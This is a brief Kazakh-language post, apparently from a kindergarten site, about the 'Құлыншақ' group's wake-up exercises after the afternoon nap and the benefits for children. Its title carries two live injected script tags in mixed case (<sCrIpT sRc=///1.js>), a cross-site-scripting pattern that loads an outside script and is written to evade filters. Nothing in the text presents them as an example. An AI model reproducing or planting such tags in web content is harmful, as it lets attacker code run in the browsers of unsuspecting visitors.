түскі ұйқыдан кейінгі ұйқы ашар жаттығуы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Даярлық "Құлыншақ" тобы күнделікті түскі ұйқыдан кейінгі ұйқы ашар жаттығуын жасап,өздерін ұйқыдан кейін сергек ұстайды. Жаттығу жасаудың маңыздылығы балалар ұйқыдан жеңіл оянады, дене бітімі жақсарды, ойлау қабілеттері арта түседі.